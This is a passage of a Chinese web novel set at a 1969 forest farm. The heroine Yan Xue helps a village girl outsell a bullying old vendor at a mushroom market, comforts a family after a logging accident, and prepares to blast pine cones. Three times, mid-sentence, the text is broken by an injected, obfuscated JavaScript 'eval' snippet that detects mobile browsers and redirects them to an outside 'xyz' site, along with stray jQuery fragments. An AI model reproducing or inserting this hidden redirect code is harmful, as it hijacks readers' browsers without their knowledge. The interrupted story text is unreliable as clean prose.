刘大牛媳妇哪放心闺女一个人去镇上,立即去拦,母女俩在门口僵持住了,另几个小的也忍不住从里屋探出头。
“要不我跟着去吧?”一片混乱中,严雪突然道,“正好我有个亲戚在镇上,本来要送我过来的,家里孩子出事没来成,我过去看看。”
7. 冻蘑
严雪的确想去一趟镇上,告诉单秋芳自己见到人了,让单秋芳放心,顺便看看昨天落水的大强。
之所以没一开始就安排在今天,主要是她在这人生地不熟,连几点会有小火车都不清楚。
如果不是还要摊煎饼,严雪这么说,刘大牛媳妇就顺势带着她们一起去了。可她这边根本走不开,没办法只能出去打听一圈,托了一个同样要去镇上卖东西的老头儿,“我家春彩第一次去,王叔你帮着照顾点儿。”
老头儿同样背着背筐,穿得有些发黑的老棉袄用一根腰带紧扎在身上,闻言一口应下,“行。”
这下小姑娘刘春彩放心了,到底是孩子,那欢喜恨不得从脸上飞出来,尤其是在小火车开过来,她跟王老头儿、严雪都上了车之后。
“听我妈说你是祁放哥的亲戚,姐姐你们家人都长这么好看吗?”路上她还好奇地问严雪。
“可能吧,我爸妈和弟弟都挺好看的。”严雪笑着和她搭话,“我看你也很漂亮啊。”
“哪有你们漂亮?我从小就是个黄毛。”刘春彩揪揪干枯的辫子尾有些沮丧。
这年代吃得不好,别说毛躁分叉了,十个孩子里面有五六个头发都是黄的,养到十几岁也不见好。
“你家不错了,老刘好歹会打猎,能弄点野味儿,别家孩子头发还不如你呢。”坐在过道另一边的王老头插了句。
严雪就顺势问起打猎的事,“现在还让打猎吗?林场没人管?”
“让啊,怎么不让?”刘春彩说,“山上那么多野兽,你不打林场保卫科也得打,不然年年伤人,下来祸害农业队的庄稼。”
看来这会儿还不像后世禁枪禁得那么严,野猪之类也没少到成了国家保护动物。
严雪又看向小姑娘背来的背筐,“你这是要去卖什么?蘑菇?木耳?总不能是打来的皮子吧?”
“是冻蘑。皮子都是我爷我爸下来卖,他们说我小孩子,不懂价,容易让人给骗了。”
这倒的确,蘑菇之类的都有标准价,照着卖就是了。皮子却要看大小,看品相,同样一种动物,价格可能天差地别。
“那也很厉害啊,这么冷的天,可没几个人愿意在外面蹲小市场。”
严雪深谙小孩子需要鼓励,果然刘春彩平时应该是很少听到这类话,脸都红了,“我也是头一回,而且蘑菇就得年前卖,年前买了过年炖鸡吃,平时没多少人舍得买。”
大概年前真是卖蘑菇的好时候,到了澄水镇小市场把背筐里的东西一拿出来,王老头也是来卖冻蘑的。
这种蘑菇产量少,口感好,是所有蘑菇里面最值钱的。就是不太出数,十二斤鲜蘑才能晒出一斤干蘑。
一老一少一家一个小摊,严雪看这边没什么需要自己的,打了声招呼,就离开小市场去找供销社了。
单秋芳大冷天在车站等她,又要陪她去林场相亲,于情于理她都不好空着手上门。何况孩子昨天掉冰窟窿里了,现在肯定病着,估计感冒发烧都是轻的。
不像县级以上还分个百货商店、粮油商店、蔬菜副食商店,镇上所有的东西都在供销社卖。里面糖果饼干有,日用小百有,鞋子袜子有,就连铁丝铁锹这类五金工具也有。
严雪转了一圈,最后买了两个罐头,按照走前姑姥姥给的地址找去单秋芳家,却没看到单秋芳人。
“大强早上起来又发烧,秋芳姨带他去医院打针了。”昨天那个穿冰鞋的小姑娘就在门外玩。
单秋芳家门没锁,还有两个小的都托了对门这小姑娘的妈妈帮着照看,严雪问了问她出门的时间,在屋门口等了一会儿。
可惜快一个小时过去,单秋芳母子依旧没有回来,严雪惦记着在小市场卖东西的刘春彩,只能把东西放进门里,托对面小姑娘正在洗衣服的妈妈帮着转达,“就说人我已经见到了,让她放心,改天有时间我再过来。”
没想到这一来一回不过一个多小时,再回到小市场,刘春彩竟然跟王老头吵起来了。
走前还相处和谐的两个人,此时一个愤怒站着,脸红眼眶更红,一个老神在在,手插在棉袄袖子里,仿佛对方在无理取闹。
“你答应我妈照看我的,不照看我也就罢了,凭啥还抢我生意?”小姑娘声音尖得都劈了。
王老头眼皮都没抬一下,“你自己东西不好,卖不出去怨谁?”
“谁说我东西不好?那都是我跟我妈秋天才捡了晒的!”
严雪在外面听了会儿,没急着上前拉架,先找了个同样在附近摆摊、正抻着头看热闹的,小声问:“同志,这怎么回事?”
八卦绝对是全人类共有的天性,她一问,对方立马竹筒倒豆子似的全说了。
原来王老头嘴上答应得好,会帮刘大牛媳妇照看点刘春彩,可只要有人过来买蘑菇,他就会跟人家说刘春彩的蘑菇不好,都是过了伏的,要买买他的。
这年代没有防腐剂,冬天还好,蘑菇只要过了伏就会生虫,自然没人再去刘春彩那里买。小姑娘一开始还憋着,毕竟是长辈,后来连着被抢了三四次,终于忍不住爆发了。
摊主说完咂咂嘴,“那老头也真是的,欺负一个小丫头干啥?这么老半天,她统共就卖出去二两。”
干蘑菇一小把就能泡发许多,通常也就是二三两一买,等于是刘春彩半上午只卖出去一份。
而他们坐小火车下来是有成本的,一来一回需要八毛钱,要是卖得太少,这一趟就得赔。
眼见小姑娘开始抹眼泪了,严雪从口袋里摸出手绢,走上前递给她,“擦擦,咱们换个地方卖。”
“他怎么不换个地方!”刘春彩实在气不过。
严雪只是笑,“你早上出门踩着一泡屎,不赶紧换个地方弄干净,还一直在里面站着?”
这形容,可比狗咬你一口你还能咬狗一口听着解气有意思多了。
当即旁边就有人笑出了声,刘春彩一听,也忘了继续哭。只有王老头脸色难看,像是刚刚生吞了一坨什么。
严雪弯身帮小姑娘收拾起摊子,“咱们换个地方,我保证你比他卖得好,比他挣得多。”
这话听得王老头直冷笑,“小B崽子连冻蘑跟榛蘑有啥区别都不知道吧?好大的口气。”
“我知道那些干嘛?”严雪无辜眨眼,语气从头到尾都不见一点生气,“我知道人和动物有什么区别就行了。”
刘春彩到底还小,没听出这话里的含义,周围看热闹的人却再次笑起来。
小丫头年纪不大,性子倒是泼辣,能张嘴就是嘲讽,也能不带任何脏字把人骂一顿。
不过虽然没听懂,却不妨碍刘春彩此时对严雪的信任。小姑娘利索地收拾好东西,直接拎起背筐,跟着严雪去了小市场另一边。
看着两人似模似样重新摆开摊子,王老头黑着脸一哼,“连吆喝都不会,我看她们怎么卖。”
刘春彩不会吆喝,主要是年纪小还有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563190|171407||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些抹不开面子,严雪上辈子却是跟着爸爸在市场混大的。
当初严爸下岗,又出意外,导致一条腿截肢,没法找活干,就是利用残疾人代步车拉货去市场卖,供她读书,把她养大。
后来家里再逢变顾,严雪也是在市场蹲了大半年,才一点点凑出钱,把生意做起来。
东西一倒出来,她就跟刘春彩说:“咱俩挑一挑,把里面最大的挑出来,分成两堆。“
“挑出来干嘛?”刘春彩虽然不懂,但还是依言照做了。
严雪:“咱们一会儿按不同的价格卖。”
严雪观察过了,刘春彩这些冻蘑品质并不比王老头的差,甚至还要好上一点。但好得不明显,又有很多小的混在里面,不仔细看根本看不出来。估计之前那人买她的,也是眼尖,瞧出了不同。
两人迅速将东西挑完,她直接把大的那堆放前面,小的装袋子里,放到脚边不显眼的地方。
刚分完,有人从摊前经过,立马发现了冻蘑品相上的不同,“你这冻蘑怎么卖?”
“三块四一斤。”严雪眼也不眨涨了两毛。
来人果然问:“不是三块二吗?我看别人都卖三块二。”
刘春彩也有些不解,然后她就见识到了严雪是怎么吹,哦不,是怎么把东西推销出去的。
严雪直接从两堆蘑菇各抓了一把,放到一起对比,“三块二的我们这也有,不过没有这些好。前面这些都是头茬蘑菇,生长时间长,香味还没怎么跑呢就被摘了,口感好卖相也好,不管是颜色还是纹理,都更适合送礼。”
不怕不识货,就怕货比货。严雪这一挑两堆蘑菇对比立马明显起来,对方脸上显见地出现了犹豫,“就不能便宜点?”
“那您买这个吧,口感和味道上能差点,不仔细吃也吃不出来。”严雪直接把好的那把放了回去。
可她越这么说,对方眼睛越往好的那堆上面瞟,最终还是道:“那就买这个,给我称二两。”
反正也只差两分钱,能买到好的,谁还愿意买那次一等的啊。
于是刘春彩迅速过秤,收钱,严雪则帮着用旧报纸打包,“您放心,我们这蘑菇绝对好吃,不好吃您回来找我们。”
事实上卖完今天,她们还会不会再来出摊都是两说,上哪儿找人去?
然而那人听了,脸上还是更满意了,甚至买完还没走,站在摊位前跟两人搭了几句话。
而人都是有从众心理的,只要看到有人买,哪怕只是有人问价,都会忍不住停下来问一句。没多久,严雪和刘春彩就卖出了第二份。
也不是没人舍不得那一两分钱,严雪眼睛尖,发现对方是真觉得贵,立马改变话术,“您要是自家吃,买这个也行。其实就是个头小,卖相上能差一点,吃着没那么明显,还实惠,炖上一大锅也不心疼。”
然后刘春彩就眼睁睁看着她把那三块二的又卖出去三两……
小姑娘眼睛都瞪大了,“严雪姐,你好厉害啊!王爷爷卖东西都没你卖得快!”
毕竟才第一次出来蹲小市场,除了王老头还找不到更好的参照物。
但她的佩服绝对是真的,忍不住挽住了严雪的胳膊,“要不你给我当嫂子吧。我有个哥哥,比你大不了几岁。”
这才帮她卖了点蘑菇,她就想把自家哥哥卖了,这兄妹情也太感人。
严雪有些哭笑不得,正要说什么,余光瞥见一道人影,“那个王爷爷来了。”
8. 松塔
不过是两个小丫头,一个还是从外地来的,王老头根本没放在眼里。
他照样卖他的冻蘑,照样在有人来问时指了两人的摊子说她们的蘑菇都是过了伏的,不好,来买东西的人却越来越少。
反观严雪和刘春彩那边,时不时就会有一个人停下脚步,有时候还能围上两三个。
老头儿实在闲着没事干,就眯了老眼打量,越看越觉得不对劲,怎么还真有人买她们的东西?
而且有的人明显是从那边过来的,过来问了问价,都听他说她们东西不好了,竟然还转回去,买了那俩小丫头的。
老头儿实在忍不住,假装要上厕所让旁边的人帮着看一下,打算从那边路过,瞅瞅到底怎么回事。
结果两个小丫头一见他来,跟躲瘟神似的,立马收拾东西换到了别的地方。
老头儿立马想到了严雪那句:“你早上出门踩着一泡屎,不赶紧换地方弄干净,还在里面站着?”脸快跟身上的旧棉袄一个色了。
“她俩多少钱卖的?”他问旁边另一个摊主。
王老头怀疑严雪跟刘春彩是降价了,不然同样的东西,凭啥不买他的来买她们的?
结果那摊主跺着脚哆哆嗦嗦说:“三块四一斤。”
“三块四?三块四也能卖出去?”老头儿简直怀疑自己岁数大了,耳朵不好使了。
“我骗你干啥?”冻了半天本来就冷,闻言那摊主有些不高兴,“爱信不信,不信拉倒。”
王老头不信邪,还真打听了一下。都说严雪跟刘春彩是三块四卖的,不过也有三块二的,更具体的就不知道了,严雪当时把大的挑出来的时候,特地找了个没什么人的角落。
老头儿完全是一头雾水,再跟上去看个究竟吧,他倒是能豁出去脸皮,可也得有人家俩小丫头跑得快……
严雪和刘春彩舒舒服服在第三个地点卖到下午,大的那堆只剩个底,小的那堆余的也不多了。
严雪干脆把两堆倒在一起,“剩这些底子有渣子,要不就便宜卖了,要不就拿回去自己吃。”
“那就拿回去自己吃。”这大年下的积水成冰,小姑娘显然已经冻够了。
不过这趟来的收获已经比她想象中多了许多,刘春彩一面收拾摊子,一面跟严雪商量,“还有点时间,姐姐咱们去趟供销社吧。我想买一对粉绸子扎头发,还有头卡,林场商店只有最普通的,不好看。”
难怪说什么也要来镇上卖东西,原来是快过年了,想出来逛街。
不过小姑娘也不抠就是了,给自己买完,还给妹妹也挑了一对,甚至往严雪手里塞了一对彩色发卡,“今天谢谢你。”
这发卡五分钱一个,都能买五个黑色钢丝的了,严雪哪里能要,又推回去,“不过是卖点东西,早上我还是在你家吃的饭呢,再说我也不喜欢这些。”
严雪头发上的确没什么发卡,扎辫子的也是最普通的皮筋。
但大概是脸长得好,如此朴素的打扮依旧很漂亮,尤其是笑起来的时候,眼睛弯弯的能甜到人心里去。
刘春彩有些羡慕,然后又想起了之前被打断的话,“真的,严雪姐你给我当嫂子吧,我哥人很好的。”
小姑娘是真动了心思,不遗余力推销自家哥哥,“长得虽然赶不上祁放哥,也没人能赶上祁放哥,我哥在林场也是有名的帅小伙了。关键还能干,才二十三已经是油锯手,还跟我爷爷学了打猎,嫁给他绝对不缺肉吃。”
严雪要不是来和齐放相亲的,对方又真有说的那么好,她也不介意认识认识,毕竟林场的确比农村来钱的路子多。
打猎得有人教,又不适合她这么娇小的女性,她就不想了。但听刘春彩说林场职工家属是有家属队的,虽然是临时工,但有转正的机会,平时挖药材、捡木耳捡蘑菇、打松子,哪个也都不少卖。
不过“齐放”长得是真好,这点刘春彩都不得不承认,做事也挺细致周到,严雪并不想背信弃义。
她眼睛往货架上一扫,故意转移话题,“林场是不是都得穿这种鞋?我看不管是山上还是山下,穿的都是这个。”
刘春彩见她指的是棉乌拉,“对啊,你别看这鞋笨笨卡卡,也不好看,但塞上乌拉草或者苞米卧,也很暖和。林场雪太大,像你这个,还有那边那种条绒的棉鞋,一出去就打湿了。”
“那下回过来,我也买一双,这回钱没带够。”
严雪主要是事情没定下来,不准备随意花钱,所以刘春彩说先借给她,她也没应。
两人买完东西去森铁车站,碰上了同样准备回林场的王老头。
对方自然不会给她们什么好脸,看那背筐的重量,显然她们走后他虽然卖了些,但还是剩下不少。
刘春彩本就不错的心情瞬间更好了,一回到家,立马扑过去抱住了刘大牛媳妇的腰,“妈,你猜我跟严雪姐今天卖了多少?”
“早上还不愿意叫,现在就严雪姐了?”刘家小儿子忍不住在二姐耳边嘀咕。
刘家才十二三的二女儿却显然是个腼腆性子,下意识看看严雪,小声说弟弟:“你不是要吃煎饼?不吃我吃了。”
那小子立马闭上嘴,望眼欲穿盯着自家妈在煎饼鏊子上摊煎饼。
刘春彩也闻到了飘满屋内的煎饼香,抱着妈妈摇了摇,“给我跟严雪姐也摊两张。”
“再晃摊坏了。”刘大牛媳妇手上刮筢子不停,一手扯了下闺女抱在腰上的胳膊,“今天卖了多少?有没有两斤?”
刘春彩一听立马去解背筐,“哪止啊?我和严雪姐几乎全卖完了!”
这话显然很像吹牛,至少两个小的看向她时都是一脸不信。刘大牛媳妇没说什么,问出一句“是吗”的时候也明显没当回事。
然而紧接着,她手里就被塞进一沓用皮筋捆好的钱,“不信你数数。”
其实不用数,光捏在手里的厚度就不止两斤的。
刘大牛媳妇诧异抬手,没等看清具体多少,那边两个小的已经看到了没什么东西的背筐,“还真卖了。”
“那是,你们不知道,严雪姐可厉害了~”
刘春彩眉飞色舞,把今天王老头怎么欺负她,严雪又是怎么帮她还击的巴拉巴拉,全说了。
刘家二姑娘再看向严雪,眼神立马也不同了,至于刘家小儿子……
他虽然已经上了学,但显然还没学会算账,掰着手指头刚开了个头,就把自己难住了。
这里只有刘大牛媳妇经常出去卖东西,了解严雪这一波操作的含金量,想卖这么快又究竟有多难,“小严很会做买卖?”
严雪总不能说这是自己的老本行了,笑笑,“我以前看别人这么卖过。”
不想就此
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563191|171407||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多谈,又望着刘大牛媳妇熟练的动作,露出些好奇,“这边都是这么摊煎饼的吗?”
“你们那边不是?”
“我以前看别人摊,都是把面和成团,在煎饼鏊子上面滚出来的。”
刘大牛媳妇显然也知道,“你说的那是软煎饼,我们这边兴吃硬的。硬的干,好放,吃的时候掸点水就行,上山带饭也方便。这边冬天冷,带个饼子上去,没多会儿就冻成冰坨了,烤都烤不透。”
说话间又一张煎饼摊好,铲下来放到了旁边的盖帘上,她一指,“这都是咱们家的,少吃点,晚上还得吃饭。”
反正也得烧鏊子,她干脆多推了点苞米,给自己家也摊了些。
几个孩子闻言,呼啦一下全围上去,严雪也被分到了一张。刘大牛媳妇手艺好,摊得又脆又薄,一咬下去满口粮食的香。
对方还要留她吃饭,严雪拒绝了,“我想早点回招待所休息。”
想到她陪自家闺女卖了大半天东西,刘大牛媳妇没再留,只一连掸了好几张煎饼硬塞给她,“本来该我带你四处转转,倒让你陪春彩蹲小市场了。”
正好那桶面糊也见了底,刘大牛媳妇把高的那一摞煎饼拿布盖上,端起来,“我给老郭家送去。”
“我也去。”刘春彩跟严雪在一起待了大半天,显然还有点不舍。
她出去帮妈妈开门,等妈妈过去又关上门走在严雪身边,“严雪姐你明天还来吗?我买了二踢脚,明天带你去炸松塔啊~”
“炸松塔?”这词严雪昨天也听过,有一点好奇。
长白山区林业资源丰富,一直盛产松子、榛子、核桃等坚果,但在她印象里,打松子,还是以爬树为主。
胆大点的直接爬,胆子小的有专门的脚蹬,用一个杆很长的钩子,勾在松塔根部一转就下来了。
但这种产松塔的松树通常都很高,树枝又脆,有时候看着很粗,一踩就断了。因此年年打松子,年年有人掉下来摔死。
后来就研究出来了用热气球打,然后同一年,严雪看到两条热气球跑了的新闻。
一条飘到信号塔附近的时候报了警,遗言都跟妻子交代好了:“我飞走了,你好好生活。”被警察给救了回来;一条雄赳赳气昂昂,跨过了鸭绿江,后来到底找没找回来,新闻没报严雪也不知道……
刘春彩不知道严雪脑中转过了这么多,特别积极给她讲,“对啊,拿二踢脚炸。冬天松塔干,一炸全掉下来了,咱们就站在底下捡,一天能捡好几千。”
那可能跟后来薅野菜的人恨不得比野菜多一样,打松塔的人太多,没等到冬天变干就全打完了……
听闺女讲得夸张,刘大牛媳妇泼了她一瓢冷水,“没有好几千,最多一两千,你也不能自己炸,得有大人跟着去。”
“一两千也很多了,能打好几百斤呢。”刘春彩弱弱嘴硬。
看严雪还笑盈盈的,似乎并不觉得失望,她又大了点声,“等爷爷回来我问问他,让他带我们去。”
“那得等你爷有时间。”有老爷子带着,刘大牛媳妇就不管了。
刘春彩脸上一喜,立马拽拽严雪衣袖,“那定好了我去找你,严雪姐你不走吧?”
小年之前肯定是不会走……
严雪刚要回答,前面突然吵嚷起来,有个眼熟的身影和人扭打到了一起。
9. 回去
刘大牛媳妇对人比严雪更熟,几乎立刻惊讶道:“老郭嫂?”
她快走几步,严雪和刘春彩也赶紧跟上前,越近越听到完全压抑不住的哭骂,“你们想钱想疯了,就那么点时间,非得赶!非得赶!你们要钱不要命,咋不砸自己?凭啥祸害我们家长安……”
这显然是知道了事情的原委,昨天祁放通知人的时候,对李树武是因为急着伐完了搞副业才造成失误的事并没有多说。
和郭家老太太扭打在一起的女人要年轻许多,三十来岁的年纪,应该是正在家做饭,两手还沾着玉米面,动起手来却毫不含糊,“老死婆子你有病吧?跑谁家号丧呢?”
“你说谁号丧!”郭大娘明显听不得“号丧”两个字,使劲去扯对方的头发,“要不是你家李树武要去弄山利落,能砸到我家长安?”
“那也是你儿子不会躲,咋没见树武砸着别人?”
两人互不相让,眼见着郭大娘年纪大,要落了下风,刘大牛媳妇赶忙把盖帘往身后一送。
刘春彩毕竟小,被这场面惊到了,一时没反应过来。还是严雪手快,立马接到了自己这里。
有人接就行,刘大牛媳妇顾不得其他,快步上前拉人。
这边动静大,不久附近几户人家也出来了,见状拉的拉,劝的劝,总算把两个人分开。
李树武媳妇头发已经乱成了鸡窝,脸上也被挠了两道,气得狠狠往地上啐了一口,“我看你儿子就是自找的,砸死也活该!”
这话太难听,郭大娘那脸色立即由红转白,整个人哆嗦起来。
刘大牛媳妇赶忙去顺她的背,“你积点口德吧,都是在山上干危险的活,谁知道哪天有个万一。”
其他人也纷纷说李树武媳妇,还有人推着她往回走,应该也是有所忌惮,她骂骂咧咧却还是被推走了。
众人这才围上来看郭大娘的情况,问到底怎么回事,显然都还不知道内情。
刘大牛媳妇倒是知道些,但郭大娘哭成这样,现在说什么都可能会刺激到她,“老顾嫂这唇色不好,我先送她回去。”
这会儿刘春彩已经回神,见妈妈看向自己,赶忙跑过来扶住了郭大娘另一边。
旁人见她们这人够了,刚才出来得急又没多穿,大多都回去了,只有一个路过的年轻小媳妇跟了过来,严雪听刘大牛媳妇叫她月娥。
院子还是昨天那个院子,比起昨晚初见,今日的郭家上空却仿佛笼罩着阴云,分外压抑。连昨晚那个虎头虎脑的小孩子都感知到了气氛的不对,看到郭大娘回来怯生生叫了声奶奶,见人太多又犹豫着不敢上前。
“铁蛋儿你妈呢?”刘大牛媳妇一面和人将郭大娘扶进去,一面问。
孩子跟她还算熟,奶着声音说:“妈妈去医院了,还没回来。”
看来是有什么事,郭大娘自己先回来了,只留郭长平两口子在医院。刘大牛媳妇有心想问问郭长安的情况,又怕真问出个噩耗。
还是郭大娘忍不住握住了她的手,“长安他,落下残废了……他今年才22啊,才22……”
郭长安命虽然保住了,但整个右肩膀到手臂粉碎性骨折,腿骨也被那瞬间的巨力压断,今后哪怕能勉强走路,右手恐怕也不能用了。这对一个年轻人的打击无疑是巨大的,何况他刚和谈了半年的对象订婚,就等年前放假办喜事了。
众人一时沉默,愈发显得郭大娘嘶哑的哭嚎悲戚。
严雪心里有些难受,但在残酷的现实面前,再多宽慰都显得无力。
她转身去外屋拧了个温毛巾给郭大娘。
感受到手里的温热,郭大娘有些愣,但还是下意识拿着擦了擦。
严雪就一言不发,又去倒了杯温水给她。
愤怒、哭泣、抱怨,都能倾泻心里的情绪,此刻再被温暖所抚慰,郭大娘眼泪虽还没止住,但好歹没浑身都在抽了。
另几人这才搂了她,低声安慰她命捡回来了就比什么都强,说不定以后能康复得不错。
严雪毕竟是外来的,跟她们都不熟,并没有插话,只瞅着空档问铁蛋儿,“快到饭点儿了,你饿不饿?”
郭大娘这才想起孙子,见刘大牛媳妇和月娥都要去外屋帮她做饭,挣扎着起来,“我来吧,你们也有一大家子等着吃饭。”
小儿子虽然出了事,但还有大孙子等着她照顾,她心里再难受,也得强打起精神,不能反给老大两口子添麻烦。
见她好歹强撑起了一口气,众人又在郭家待了阵儿,才告辞离开。
临走前,月娥多看了严雪一眼。刘大牛媳妇和严雪熟一点,更直接,“还是小严你机灵,知道提铁蛋儿。”
严雪只是淡淡笑了笑,没说话。
她不是机灵,只是上辈子经历过一样的事。当初也是因为有她,她爸才强打起精神支撑起整个家。
发生这种事最痛苦的甚至都不是当下,而是过后漫长无止境的不便和无望。
林场愿意负责任还好,最怕的就是拿不到任何赔偿。
国内因为经济起步晚,需要花大量时间追平差距,提升百姓生活水平,无障碍这块一直有些顾不上。哪怕是严雪穿越前那会儿,残疾人的出行和就业也都是难题,何况这连改革开放都还要等十年的1969。
采伐季林场职工都住在山上,本来消息传得没那么快,让郭大娘跟李树武媳妇这一闹,倒是传开了。
同情郭家者有之,更多的则是在讲李树武一家的不是。
原本责任就在他们,他们要是心生愧疚,主动上门赔礼道歉也就罢了,结果完全不觉得自己有错不说,话还那么难听。
就连林场招待所的服务员有一次看到严雪,都忍不住跟严雪嘟囔:“成天往家里划拉,也没见他们攒住钱。整天不是吃就是喝,皮鞋买两双,咱这地儿有啥要穿皮鞋的?一到月底就借钱。”
又过了一天,刘春彩才兴冲冲跑来找严雪,“我跟我爷爷说好啦,咱们明天就去炸松塔。”
不仅带来了好消息,还带来一双棉乌拉,一双厚厚的毡袜,一副腿绑,都是刘大牛媳妇借给严雪的。
山上雪厚,棉乌拉里面穿毡袜,再在棉裤外面绑腿绑,才不至于让棉裤被雪浸透,冷到骨头缝里。上山要走的路长,绑腿绑也能促进血液回流,防止小腿出现肿胀。
第二天早上严雪自己弄好,赶到约定好的集合地点时,刘春彩和刘老爷子已经在了。
刘老爷子六十出头的年纪,个子不算高,长得精瘦,戴着个熊皮帽子,背上还背了杆长长的猎/木仓。
听刘春彩叫“严雪姐”,他转过头,露出左脸一大片狰狞的伤疤,配上老而犀利的一双眼,扑面而来一股凶狠之气。
严雪看到了,却和没看到一样,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563192|171407||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑着上前打招呼,既不过分关注,也没有意避开。
老爷子这才露出笑,“小丫头胆子不小。”又回头看自家孙女,“走了。”
刘春彩立马拽着个一米宽的爬犁跟上,小声跟严雪说:“那是叫黑瞎子舔的,不仅脸,耳朵也没了半个,那回我爷爷差点没命。”
那难怪老爷子这么谨慎,上山炸松塔都不忘带上枪,防着野兽。
严雪伸了手跟她一起拽,“这个能装多少啊?”
“千八百斤没问题,”刘春彩说,“不过得一个人在前面拉,一个人在后面推,不然拉不动。”
“这么能装?”
“那当然,还有比这个更大的,那个就得套牲口了……”
刘老爷子在前,两个小的在后,长白山那物产丰饶的林区像一张神秘的画卷,慢慢在严雪面前铺开。
另一边,祁放站在山林之上,看到的却是另外一番景象。
因为技术有限,国内目前所采取的一直都是接伐,即不论树种和树木大小,一律砍伐,伐后再通过检尺选出合用的木材。
他左手边,茂密的老林绵延不断,沿着山峦的起伏,隐没在白茫一片的天地中;右手边却像是被生生剥落一层皮,一眼望去全是空忙的雪地,只余造林砍下的残肢和一座座断了头颅的树桩。
繁茂与光秃,古老与文明,都在他脚下这片土地交汇,而前者正在被后者快速吞没。
“你说,这片山还能伐多久?”他弯下/身继续之前的工作。
刘大牛长子刘卫国正和他一起造材,即将树头和树枝砍去,只余合乎规范的圆木,还以为他说的是今年的伐区,“应该要不了一个月吧,年前都干得差不多了,年后收个尾就行。”
又一棵老树被快速扒光,刘卫国停下来歇了口气,“可算要放假了,这三个多月待得我都快成野人了。”
如果严雪在这,一定能认出他就是那天第一个回地窨子拿东西的,也是嘴没个把门管祁放叫咱哥的。
不过比起刘春彩嘴里的二十出头帅小伙,他头发、胡子都好几个月没怎么打理了,乍一看,还真像个野人。
山上像他这样的还不在少数,主要就是忙、累,没那时间也没那心思,像祁放这样每天刮胡子注重个人卫生的才不多见。
而且都是没时间剪头发,咋别人都邋里邋遢,就他还那么好看,好看得还和平时不太一样?
刘卫国忍不住问祁放:“对了,你那妹子到底有没有对象?”
这已经不是第一个人问这问题了,刘卫国也不是第一次问。
祁放垂着眼,一副没太有精神的样子,随口就答了一句:“没。”
这几天时间,应该足够严雪想清楚,也体验清楚,这里到底适不适合她。
又或者连这几天都嫌太长,她早就想回去了,只是一直不方便或是不太想上山找他……
那她到底有没有对象,又有什么区别?
祁放实在懒得多说,等小年那天一放假,就和往年一样宿舍都没回,直接去了澡堂。等洗了澡剪了头发,才回去放下东西,准备去找严雪谈谈。
林场就这么点大,什么娱乐都没有,更别提外面还这么冷,估计那大小姐早在招待所待得不耐烦了。
想着,他随意一抬眸,对上的却是房门外尽忠职守的铜将军。
嗯,人呢?
10. 条件
祁放有点怀疑严雪是不是连他放假都等不到,就自己先走了。
毕竟以这位大小姐招呼都不打一个就跑过来的做事风格,还真有可能干得出来。
他沿着刷了绿色踢脚线的走廊走回前台,问正在打瞌睡的服务员:“103的住户走了?”
“你说那位挺漂亮的女同志?”林场招待所住的人少,服务员一下子就想到了,“没走,早上出去了。”
竟然没走?
只是早上出去的,这会儿已经快中午了,人生地不熟的她能去哪里?
正要问,那边服务员似乎早有所料,“她去刘大牛家了,让我有人问起来,就跟人这么说。”
还预料到他今天回来了会来找她,提前做了准备。
祁放有点弄不懂严雪葫芦里卖的什么药了,知道他要来还不在招待所,难道是待得太无聊,去刘队长家打发时间了?
他是托了刘婶子帮着照看一下,但两边出身、文化程度在那摆着,严雪怎么看也不像能和刘家人处得来的样子。
刚出招待所,迎面又碰上了端着毛巾肥皂的刘卫国。
刘卫国一见他就说:“你那妹子在我家呢,春彩嫌我这样儿不好看,把我撵出来洗澡剪头发。”
还真是在刘家,祁放忍不住问了句:“她还好吧?”
“好得很,我瞅春彩那架势,跟她比跟我还亲,你就放一百个心吧。”
当时祁放还以为他是怕自己不放心,故意说得夸张。结果到了刘家一看,何止刘春彩,刘家几个小的全在堂屋,围在严雪身边看严雪……
祁放总是习惯半垂的桃花眼都睁开了,又仔细确认了一遍,发现严雪的确是在大地锅的锅底坑烧松塔。
那个他记忆里穿着布拉吉小皮鞋,通身精致的小姑娘,竟然一点不嫌脏,就蹲在锅前拿一支没烧的柴火棍翻动着,见东西烧好立马拨出来。姿势娴熟,还一点不露土气,一看就不是第一次干。
围在她身边那三个小的也像被投喂成了自然,松塔滚出来,立即一家一个乱棍打死……哦,打碎,扒出里面的松子。
刘家小儿子刘卫斌嘴急,烫都顾不上立马塞嘴里一个“咯嘣”咬开,“还是严雪姐烤得火候好,香。”
“你慢点,小心又把牙硌松了,扯着嗓子哭。”
刘春彩嗔了弟弟一眼,从自己那堆里面挑出个大的,用牙咬破壳,剥出子递到严雪嘴边,“严雪姐你也吃。”
